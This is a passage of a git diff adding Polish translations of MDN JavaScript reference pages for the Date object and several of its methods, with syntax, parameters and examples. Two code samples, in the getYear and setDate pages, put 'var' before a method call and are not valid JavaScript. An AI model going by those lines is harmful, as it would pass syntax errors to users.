i po roku 2000, należy zamiast <code>getYear</code> użyć metody {{jsxref("Date.prototype.getFullYear", "getFullYear()")}}, która zwraca pełną liczbę określającą rok.</p> + +<h2 id="Kompatybilno.C5.9B.C4.87_wsteczna" name="Kompatybilno.C5.9B.C4.87_wsteczna">Kompatybilność wstecz</h2> + +<h3 id="JavaScript_1.2_i_wersje_wcze.C5.9Bniejsze" name="JavaScript_1.2_i_wersje_wcze.C5.9Bniejsze">JavaScript 1.2 i wersje wcześniejsze</h3> + +<p>Metoda <code>getYear()</code> zwraca rok w formacie 2-cyfrowym lub 4-cyfrowym:</p> + +<ul> + <li>Dla roczników pomiędzy i włącznie z latami 1900 i 1999, wartość zwracana przez <code>getYear</code> jest to rok minus 1900. Na przykład, dla roku 1976 będzie to liczba 76.</li> +</ul> + +<ul> + <li>Dla roczników niższych niż 1900 lub wyższych niż 1999, wartość zwracana przez <code>getYear</code> jest cztero-cyfrowa. Na przykład, dla roku 1856, wartość jest równa 1856. Dla roku 2026, wartość wynosi 2026.</li> +</ul> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Lata_pomi.C4.99dzy_1900_i_1999" name="Przyk.C5.82ad:_Lata_pomi.C4.99dzy_1900_i_1999">Przykład: Lata pomiędzy 1900 i 1999</h3> + +<p>Druga instrukcja przypisuje wartość 95 do zmiennej <code>year</code>.</p> + +<pre class="brush: js">var Xmas = new Date("December 25, 1995 23:15:00"); +var year = Xmas.getYear(); // zwraca 95 +</pre> + +<h3 id="Przyk.C5.82ad:_Lata_powy.C5.BCej_1999" name="Przyk.C5.82ad:_Lata_powy.C5.BCej_1999">Przykład: Lata powyżej 1999</h3> + +<p>Druga instrukcja przypisuje wartość 100 do zmiennej <code>year</code>.</p> + +<pre class="brush: js">var Xmas = new Date("December 25, 2000 23:15:00"); +var year = Xmas.getYear(); // zwraca 100 +</pre> + +<h3 id="Przyk.C5.82ad:_Lata_powy.C5.BCej_1900" name="Przyk.C5.82ad:_Lata_powy.C5.BCej_1900">Przykład: Lata poniżej 1900</h3> + +<p>Druga instrukcja przypisuje wartość -100 do zmiennej <code>year</code>.</p> + +<pre class="brush: js">var Xmas = new Date("December 25, 1800 23:15:00"); +var year = Xmas.getYear(); // zwraca -100 +</pre> + +<h3 id="Przyk.C5.82ad:_Ustawienie_i_pobieranie_lat_pomi.C4.99dzy_1900_i_1999" name="Przyk.C5.82ad:_Ustawienie_i_pobieranie_lat_pomi.C4.99dzy_1900_i_1999">Przykład: Ustawianie i pobieranie roku pomiędzy 1900 i 1999</h3> + +<p>Druga instrukcja przypisuje wartość 95 do zmiennej <code>year</code>, reprezentując rok 1995.</p> + +<pre class="brush: js">var Xmas.setYear(95); +var year = Xmas.getYear(); // zwraca 95 +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getFullYear()")}}</li> + <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li> + <li>{{jsxref("Date.prototype.setYear()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/index.html b/files/pl/web/javascript/referencje/obiekty/date/index.html new file mode 100644 index 0000000000..3636152933 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/index.html @@ -0,0 +1,138 @@ +--- +title: Date +slug: Web/JavaScript/Referencje/Obiekty/Date +tags: + - Date + - JavaScript + - data +translation_of: Web/JavaScript/Reference/Global_Objects/Date +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Tworzy instancje <code>Date</code>, które pozwalają na pracę z danymi opisującymi datę i czas.</p> + +<h2 id="Tworzony_przez" name="Tworzony_przez">Składnia</h2> + +<pre class="syntaxbox"><code>new Date(); +new Date(<em>milisekundy</em>); +new Date(<em>dateString</em>); +new Date(<em>rok</em>, <em>indeksMiesiąca </em>[, <em>dzień </em>[, <em>godzina </em>[, <em>minuta </em>[, <em>sekunda </em>[, <em>milisekunda</em>]]]]]); +</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>milisekundy</code> </dt> + <dd>Wartość całkowita reprezentująca liczbę milisekund od 1 stycznia 1970, godz. 00:00:00 UTC.</dd> +</dl> + +<dl> + <dt><code>dateString</code> </dt> + <dd>Łańcuch znaków reprezentujący datę. Łańcuch znaków powinien być w formacie rozpoznawalnym przez metodę <a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/parse" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Date/parse">parse</a>.</dd> +</dl> + +<dl> + <dt><code>rok</code></dt> + <dd>Wartość całkowita reprezentująca rok. Dla zgodności (w celu uniknięcia problemu roku 2000) należy zawsze określać rok w pełnej formie, używając raczej <code>1998</code> niż <code>98</code>.</dd> +</dl> + +<dl> + <dt><code>indeksMiesiąca</code></dt> + <dd>Wartość całkowita reprezentująca miesiąc, począwszy od 0 dla stycznia, kończąc na 11 dla grudnia.</dd> +</dl> + +<dl> + <dt><code>dzień</code></dt> + <dd>Wartość całkowita reprezentująca dzień miesiąca.</dd> +</dl> + +<dl> + <dt><code>godzina</code></dt> + <dd>Wartość całkowita reprezentująca godzinę (w formacie 24-godzinnym).</dd> +</dl> + +<dl> + <dt><code>minuta</code></dt> + <dd>Wartość całkowita reprezentująca część minutową odczytywanego czasu.</dd> +</dl> + +<dl> + <dt><code>second</code></dt> + <dd>Wartość całkowita reprezentująca część sekundową odczytywanego czasu.</dd> +</dl> + +<dl> + <dt><code>millisecond</code></dt> + <dd>Wartość całkowita reprezentująca część milisekundową odczytywanego czasu.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli nie dostarczasz żadnych argumentów, konstruktor tworzy obiekt <code>Date</code> dla dzisiejszej daty i czasu stosownie do czasu lokalnego. Jeśli dostarczasz jakieś argumenty, lecz nie wszystkie, brakujące argumenty mają ustawioną wartość 0. Jeśli jednak dostarczasz jakieś argumenty, musisz dostarczyć co najmniej rok, miesiąc i dzień. Pominąć możesz godzinę, minuty, sekundy i milisekundy.</p> + +<p>Data jest mierzona w milisekundach od północy 1 stycznia 1970 UTC. W jednym dniu jest 86,400,000 milisekund. Zakres wartości obiektu <code>Date</code> wynosi od -100,000,000 dni do 100,000,000 dni w stosunku do 01 stycznia 1970 UTC.</p> + +<p>Obiekt <code>Date</code> zapewnia jednolite działanie bez względu na platformę.</p> + +<p>Obiekt <code>Date</code> wspiera wiele metod UTC (uniwersalny czas światowy) i metody czasu lokalnego. UTC, także znany jako <em>Greenwich Mean Time</em> (GMT), odnosi się do czasu ustanowionego przez "światowy standard czasu" (ang. World Time Standard). Czas lokalny jest czasem, który zna komputer, na jakim jest wykonywany JavaScript.</p> + +<p>Dla kompatybilności z obliczeniami milenijnymi (inaczej, syndromem roku 2000), powinieneś zawsze określić pełen rok, czyli na przykład, używa 1998, nie 98. Aby pomóc Ci w określeniu całego roku, JavaScript zawiera metody {{jsxref("Date.prototype.getFullYear()")}}, {{jsxref("Date.prototype.setFullYear()")}}, {{jsxref("Date.getUTCFullYear()")}} i {{jsxref("Date.setUTCFullYear()")}}.</p> + +<p>Odwoływanie się do <code>Date </code>w kontekście innym niż konstruktor (np. bez operatora {{jsxref("new")}}) będzie zwracało ciąg reprezentujący aktualny czas.</p> + +<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2> + +<dl> + <dt>{{jsxref("Date.prototype")}}</dt> + <dd>Pozwala dodać własności do obiektu <code>Date</code>.</dd> + <dt><code>Date.length</code></dt> + <dd>The value of <code>Date.length</code> is 7. This is the number of arguments handled by the constructor.</dd> + <dt> + <div>{{jsOverrides("Function", "properties", "prototype")}}</div> + </dt> +</dl> + +<h2 id="Metody_statyczne" name="Metody_statyczne">Metody</h2> + +<dl> + <dt>{{jsxref("Date.now()")}}</dt> + <dd>Zwraca wartość liczbową odnoszącą się do aktualnego czasu.</dd> + <dt>{{jsxref("Date.parse()")}}</dt> + <dd>Zwraca liczbę milisekund, które upłynęły od 1 stycznia 1970, 00:00:00 czasu lokalnego do daty podanej jako argument string.</dd> + <dt>{{jsxref("Date.UTC()")}}</dt> + <dd>Zwraca liczbę milisekund, które upłynęły od 1 stycznia 1970, 00:00:00 czasu uniwersalnego do daty podanej jako zestaw liczb (parametry jak w najdłuższej formie konstruktora).</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Kilka_sposob.C3.B3w_na_przypisywanie_dat" name="Przyk.C5.82ad:_Kilka_sposob.C3.B3w_na_przypisywanie_dat">Przykład: Kilka sposobów na przypisywanie dat</h3> + +<p>Poniżej przedstawiono kilka przykładowych przypisań dat:</p> + +<pre class="brush: js">var dzisiaj = new Date(); +var urodziny = new Date("December 17, 1995 03:24:00"); +var urodziny = new Date(1995,11,17); +var urodziny = new Date(1995,11,17,3,24,0); +</pre> + +<h3 id="Przyk.C5.82ad:_Obliczanie_czasu_trwania" name="Przyk.C5.82ad:_Obliczanie_czasu_trwania">Przykład: Obliczanie czasu trwania</h3> + +<p>Poniższy przykład pokazuje, jak określić czas, jaki minął pomiędzy dwoma datami:</p> + +<pre class="brush: js">// używając metod statycznych +var start = Date.now(); +// zdarzenie, dla którego chciałbyś zmierzyć czas trwania: +zrobCosPrzezDlugiCzas(); +var stop = Date.now(); +var roznica_czasow = stop - start; // czas w milisekundach +</pre> + +<pre class="brush: js">// wykorzystując obiekty Date +var start = new Date(); +// zdarzenie, dla którego chciałbyś zmierzyć czas trwania: +zrobCosPrzezDlugiCzas(); +var stop = new Date(); +var roznica_czasow = stop.getTime() - start.getTime(); // czas w milisekundach +</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/date/now/index.html b/files/pl/web/javascript/referencje/obiekty/date/now/index.html new file mode 100644 index 0000000000..c0a4e1a690 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/now/index.html @@ -0,0 +1,43 @@ +--- +title: Date.now() +slug: Web/JavaScript/Referencje/Obiekty/Date/now +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/now +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca liczbę milisekund, która upłynęła od 1 stycznia 1970 00:00:00 UTC.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>var timeInMs = Date.now();</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda now zwraca milisekundy, które upłynęły od 1 stycznia 1970 00:00:00 UTC do teraz w postaci obiektu {{jsxref("Number")}}.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_now" name="Przyk.C5.82ad:_Zastosowanie_now">Przykład: Zastosowanie <code>now</code></h3> + +<p>Poniższy przykład używa <code>now</code> do stworzenia znacznika czasu.</p> + +<pre class="brush: js">var timestamp = Date.now(); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{domxref("Performance.now()")}}</li> + <li>{{domxref("Console.time()")}} / {{domxref("Console.timeEnd()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/parse/index.html b/files/pl/web/javascript/referencje/obiekty/date/parse/index.html new file mode 100644 index 0000000000..d500500484 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/parse/index.html @@ -0,0 +1,74 @@ +--- +title: Date.parse() +slug: Web/JavaScript/Referencje/Obiekty/Date/parse +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/parse +--- +<div> {{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Analizuje łańcuch znaków reprezentujący datę i zwraca liczbę milisekund, które upłynęły od 1 stycznia 1970, 00:00:00 UTC.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Date.parse(<var>dateString</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>dateString</code> </dt> + <dd>Łańcuch znaków reprezentujący datę.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>parse</code> pobiera łańcuch znaków daty (na przykład: "<code>Dec 25, 1995</code>") i zwraca liczbę milisekund, które upłynęły od 1 stycznia 1970, 00:00:00 UTC. Gdy parametr nie zawiera informacji na temat strefy czasowej, domyślnie używana jest lokalna strefa czasowa. Ta funkcja jest przydatna do ustawiania wartości daty w oparciu o wartość łańcucha znaków, przykładowo w połączeniu z metodą {{jsxref("Date.prototype.setTime()", "setTime()")}} oraz obiektem {{jsxref("Date")}}.</p> + +<p>Dla podanego łańcucha znaków reprezentującego czas, <code>parse</code> zwraca wartość czasu. Akceptuje składnię standardu daty - IETF: "<code>Mon, 25 Dec 1995 13:30:00 GMT</code>". Rozpoznaje skróty kontynentalnej strefy czasowej US, lecz w ogólnym zastosowaniu używa się przesunięć dla strefy czasowej, na przykład: "<code>Mon, 25 Dec 1995 13:30:00 GMT+0430</code>" (4 godziny i 30 minut na zachód od południka Greenwich). Jeśli nie określono strefy czasowej, domyślna jest strefa lokalna. GMT i UTC są rozpatrywane jako równoważne.</p> + +<p>Mimo iż specyfikatory strefy czasowej są brane pod uwagę podczas analizy łańcucha znaków do prawidłowej interpretacji argumentu, nie wpływają one jednak na zwracaną wartość, którą zawsze jest ilość milisekund pomiędzy 1 stycznia 1970 roku, 00:00:00 UTC a punktem w czasie reprezentowanym przez argument.</p> + +<p>Ponieważ <code>parse</code> jest metodą statyczną obiektu <code>Date</code>, używamy jej jako <code>Date.parse()</code>, raczej niż jako wywołanie metody utworzonego przez nas obiektu <code>Date</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_parse" name="Przyk.C5.82ad:_Zastosowanie_parse">Przykład: Zastosowanie <code>parse</code></h3> + +<p>Jeśli <code>IPOdate</code> jest istniejącym obiektem <code>Date</code>, możemy przypisać mu wartość 9 sierpnia 1995 (czasu lokalnego) w następujący sposób:</p> + +<pre class="brush: js">IPOdate.setTime(Date.parse("Aug 9, 1995")) ; +</pre> + +<p>Kilka innych przykładów:</p> + +<pre class="brush: js">// Zwraca 807937200000 w strefie czasowej GMT-0300, i inne wartości dla innych stref +// czasowych, ponieważ argument nie specyfikuje strefy czasowej. +Date.parse("Aug 9, 1995");</pre> + +<pre class="brush: js">// Zwraca 807926400000 niezależnie od lokalnej strefy czasowej. +Date.parse("Wed, 09 Aug 1995 00:00:00 GMT");</pre> + +<pre class="brush: js">// Zwraca 807937200000 w strefie czasowej GMT-0300, a inne wartości w innych +// strefach czasowych, ponieważ strefa nie jest wyspecyfikowana w argumencie. +Date.parse("Wed, 09 Aug 1995 00:00:00");</pre> + +<pre class="brush: js">// Zwraca 0 niezależnie od lokalnej strefy czasowej. +Date.parse("Thu, 01 Jan 1970 00:00:00 GMT");</pre> + +<pre class="brush: js">// Zwraca 14400000 w strefie czasowej GMT-0400, a inne wartości w innych +// strefach czasowych, ponieważ strefa nie jest podana w argumencie. +Date.parse("Thu, 01 Jan 1970 00:00:00");</pre> + +<pre class="brush: js">// Zwraca 14400000 niezależnie od lokalnej strefy czasowej. +Date.parse("Thu, 01 Jan 1970 00:00:00 GMT-0400");</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.UTC()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/date/prototype/index.html new file mode 100644 index 0000000000..20f539e68b --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/prototype/index.html @@ -0,0 +1,115 @@ +--- +title: Date.prototype +slug: Web/JavaScript/Referencje/Obiekty/Date/prototype +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Reprezentuje prototyp dla tej klasy. Można używać prototypu do dodawania własności lub metod wszystkim instancjom klasy. Aby uzyskać więcej informacji o prototypach, zobacz {{jsxref("Function.prototype")}}.</p> + +<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2> + +<dl> + <dt><code>Date.prototype.constructor</code></dt> + <dd>Określa funkcję, która tworzy prototyp obiektu.</dd> +</dl> + +<div>{{jsOverrides("Object", "properties", "constructor")}}</div> + +<h2 id="Metody" name="Metody">Metody</h2> + +<dl> + <dt>{{jsxref("Date.prototype.getDate()")}}</dt> + <dd>Zwraca dzień miesiąca dla określonej daty, stosownie do czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.getDay()")}}</dt> + <dd>Zwraca dzień tygodnia dla określonej daty stosownie do czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.getFullYear()")}}</dt> + <dd>Zwraca rok określonej daty stosownie do czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.getHours()")}}</dt> + <dd>Zwraca godzinę określonej daty stosownie do czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.getMilliseconds()")}}</dt> + <dd>Zwraca milisekundy określonej daty stosownie do czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.getMinutes()")}}</dt> + <dd>Zwraca minuty w określonej dacie czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.getMonth()")}}</dt> + <dd>Zwraca miesiąc w określonej dacie czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.getSeconds()")}}</dt> + <dd>Zwraca sekundy określone w dacie stosownie do czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.getTime()")}}</dt> + <dd>Zwraca wartość numeryczną przesyłając czas określonej daty stosownie do czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.getTimezoneOffset()")}}</dt> + <dd>Zwraca czas przesunięcia wg strefy czasowej dla aktualnego czasu lokalnego. .</dd> + <dt>{{jsxref("Date.prototype.getUTCDate()")}}</dt> + <dd>Zwraca dzień (date) miesiąca określonej daty stosownie do czasu uniwersalnego.</dd> + <dt>{{jsxref("Date.prototype.getUTCDay()")}}</dt> + <dd>Zwraca dzień tygodnia określone w dacie stosownie do czasu uniwersalnego.</dd> + <dt>{{jsxref("Date.prototype.getUTCFullYear()")}}</dt> + <dd>Zwraca rok określony w dacie stosownie do czasu uniwersalnego.</dd> + <dt>{{jsxref("Date.prototype.getUTCHours()")}}</dt> + <dd>Zwraca godziny określone w dacie stosownie do czasu uniwersalnego.</dd> + <dt>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</dt> + <dd>Zwraca milisekundy określone w dacie stosownie do czasu uniwersalnego.</dd> + <dt>{{jsxref("Date.prototype.getUTCMinutes()")}}</dt> + <dd>Zwraca minuty określone w dacie stosownie do czasu uniwersalnego.</dd> + <dt>{{jsxref("Date.prototype.getUTCMonth()")}}</dt> + <dd>Zwraca nazwę miesięcy określone w dacie stosownie do czasu uniwersalnego.</dd> + <dt>{{jsxref("Date.prototype.getUTCSeconds()")}}</dt> + <dd>Zwraca sekundy określonej daty stosownie do czasu uniwersalnego.</dd> + <dt>{{jsxref("Date.prototype.getYear()")}} {{deprecated_inline}}</dt> + <dd>Zwraca rok określonej daty stosownie do czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.setDate()")}}</dt> + <dd>Ustawia dzień miesiąca dla określonej daty stosownie do czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.setFullYear()")}}</dt> + <dd>Ustawia pełny rok dla określonej daty stosownie do czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.setHours()")}}</dt> + <dd>Ustawia godziny dla określonej daty stosownie do czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.setMilliseconds()")}}</dt> + <dd>Ustawia milisekundy dla określonej daty stosownie do czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.setMinutes()")}}</dt> + <dd>Ustawia minuty dla określonej daty stosownie do czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.setMonth()")}}</dt> + <dd>Ustawia nazwę miesiąca dla określonej daty stosownie do czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.setSeconds()")}}</dt> + <dd>Ustawia sekundy dla określonej daty stosownie do czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.setTime()")}}</dt> + <dd>Ustawia wartość obiektu <code>Date</code> stosownie do czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.setUTCDate()")}}</dt> + <dd>Ustawia dzień miesiąca dla określonej daty stosownie do czasu uniwersalnego.</dd> + <dt>{{jsxref("Date.prototype.setUTCFullYear()")}}</dt> + <dd>Ustawia pełen rok dla określonej daty stosownie do czasu uniwersalnego.</dd> + <dt>{{jsxref("Date.prototype.setUTCHours()")}}</dt> + <dd>Ustawia godzinę dla określonej daty stosownie do czasu uniwersalnego.</dd> + <dt>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</dt> + <dd>Ustawia milisekundy dla określonej daty stosownie do czasu uniwersalnego.</dd> + <dt>{{jsxref("Date.prototype.setUTCMinutes()")}}</dt> + <dd>Ustawia minuty dla określonej daty stosownie do czasu uniwersalnego.</dd> + <dt>{{jsxref("Date.prototype.setUTCMonth()")}}</dt> + <dd>Ustawia miesiąc dla określonej daty stosownie do czasu uniwersalnego.</dd> + <dt>{{jsxref("Date.prototype.setUTCSeconds()")}}</dt> + <dd>Ustawia sekundy dla określonej daty stosownie do czasu uniwersalnego.</dd> + <dt>{{jsxref("Date.prototype.setYear()")}} {{deprecated_inline}}</dt> + <dd>Ustawia rok dla określonej daty stosownie do czasu lokalnego.</dd> + <dt>{{jsxref("Date.prototype.toGMTString()")}} {{deprecated_inline}}</dt> + <dd>Konwertuje datę na łańcuch znaków, używając konwencji czasu GMT.</dd> + <dt>{{jsxref("Date.prototype.toLocaleString()")}}</dt> + <dd>Konwertuje datę na łańcuch znaków (string), używając aktualnej lokalnej konwencji. Przesłania metodę {{jsxref("Object.prototype.toLocaleString()")}}.</dd> + <dt>{{jsxref("Date.prototype.toLocaleDateString()")}}</dt> + <dd>Zwraca datę (bez godziny) z obiektu <code>Date</code> jako ciąg znaków z wykorzystaniem lokalnych konwencji.</dd> + <dt>{{jsxref("Date.prototype.toLocaleTimeString()")}}</dt> + <dd>Zwraca godzinę (bez daty) z obiektu <code>Date</code> jako ciąg znaków z wykorzystaniem lokalnych konwencji.</dd> + <dt>{{jsxref("Date.prototype.toSource()")}} {{non-standard_inline}}</dt> + <dd>Zwraca obiekt literału reprezentujący określony obiekt <code>Date</code>; możesz użyć tej wartości do tworzenia nowych obiektów. Przesłania metodę {{jsxref("Object.prototype.toSource()")}}.</dd> + <dt>{{jsxref("Date.prototype.toString()")}}</dt> + <dd>Zwraca łańcuch znaków, reprezentujący określony obiekt <code>Date</code>. Przesłania metodę {{jsxref("Object.prototype.toString()")}}.</dd> + <dt>{{jsxref("Date.prototype.toUTCString()")}}</dt> + <dd>Konwertuje datę na łańcuch znaków, używając do konwencji czasu uniwersalnego.</dd> + <dt>{{jsxref("Date.prototype.valueOf()")}}</dt> + <dd>Zwraca wartość prostą obiektu <code>Date</code>. Przesłania metodę {{jsxref("Object.prototype.valueOf()")}}.<span id="cke_bm_120E" style="display: none;"> </span></dd> +</dl> diff --git a/files/pl/web/javascript/referencje/obiekty/date/setdate/index.html b/files/pl/web/javascript/referencje/obiekty/date/setdate/index.html new file mode 100644 index 0000000000..9e0e3db5b9 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/setdate/index.html @@ -0,0 +1,43 @@ +--- +title: Date.prototype.setDate() +slug: Web/JavaScript/Referencje/Obiekty/Date/setDate +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setDate +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Ustawia dzień miesiąca dla określonej daty stosownie do czasu lokalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.setDate(<var>dayValue</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>dayValue</code> </dt> + <dd>Liczba całkowita z przedziału od 1 do 31, reprezentująca dzień miesiąca.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_setDate" name="Przyk.C5.82ad:_Zastosowanie_setDate">Przykład: Zastosowanie <code>setDate()</code></h3> + +<p>Druga instrukcja poniżej zmienia dzień miesiąca dla zmiennej <code>theBigDay</code> z jego oryginalnej wartości na 24 lipca.</p> + +<pre class="brush: js">var theBigDay = new Date("July 27, 1962 23:30:00"); +var theBigDay.setDate(24); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getDate()")}}</li> + <li>{{jsxref("Date.prototype.setUTCDate()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/setfullyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/setfullyear/index.html new file mode 100644 index 0000000000..6b9fe390a1 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/setfullyear/index.html @@ -0,0 +1,58 @@ +--- +title: Date.prototype.setFullYear() +slug: Web/JavaScript/Referencje/Obiekty/Date/setFullYear +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setFullYear +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Ustawia kompletny rok dla określonej daty stosownie do czasu lokalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.setFullYear(<var>yearValue</var>[, <var>monthValue</var>[, <var>dayValue</var>]])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>yearValue</code> </dt> + <dd>Liczba całkowita określająca wartość numeryczną roku, na przykład; 1995.</dd> +</dl> + +<dl> + <dt><code>monthValue</code> </dt> + <dd>Liczba całkowita z przedziału od 0 do 11 (reprezentująca miesiące od stycznia do grudnia).</dd> +</dl> + +<dl> + <dt><code>dayValue</code> </dt> + <dd>Liczba całkowita z przedziału od 1 do 31 reprezentująca dzień miesiąca. Jeśli zostaje podany parametr <code>dayValue</code>, należzy również podać <code>monthValue</code>.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli nie zostały podane parametry <code>monthValue</code> i <code>dayValue</code>, biblioteka pobierze te dane z metod {{jsxref("Date.prototype.getMonth()", "getMonth()")}} i {{jsxref("Date.prototype.getDate()", "getDate()")}}.</p> + +<p>Jeżeli określony parametr jest poza oczekiwanym zakresem, <code>setFullYear()</code> spróbuje zaktualizować informacje o dacie w obiekcie <code>Date</code>. Przykładowo, jeśli zostanie podana wartość 15 dla <code>monthValue</code> to rok zostanie zwiększony o 1 (rok+1), a miesiąc zostanie ustawiony na wartość 3.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_setFullYear" name="Przyk.C5.82ad:_Zastosowanie_setFullYear">Przykład: Zastosowanie <code>setFullYear()</code></h3> + +<pre class="brush: js">var theBigDay = new Date(); +theBigDay.setFullYear(1997); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li> + <li>{{jsxref("Date.prototype.setUTCFullYear()")}}</li> + <li>{{jsxref("Date.prototype.setYear()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/sethours/index.html b/files/pl/web/javascript/referencje/obiekty/date/sethours/index.html new file mode 100644 index 0000000000..8e3f95ff7d --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/sethours/index.html @@ -0,0 +1,66 @@ +--- +title: Date.prototype.setHours() +slug: Web/JavaScript/Referencje/Obiekty/Date/setHours +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setHours +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Ustawia godziny dla określonej daty stosownie do czasu lokalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.setHours(<var>hoursValue</var>[, <var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]]])</code></pre> + +<h3 id="Do_wersji_JavaScript_1.3" name="Do_wersji_JavaScript_1.3">Do 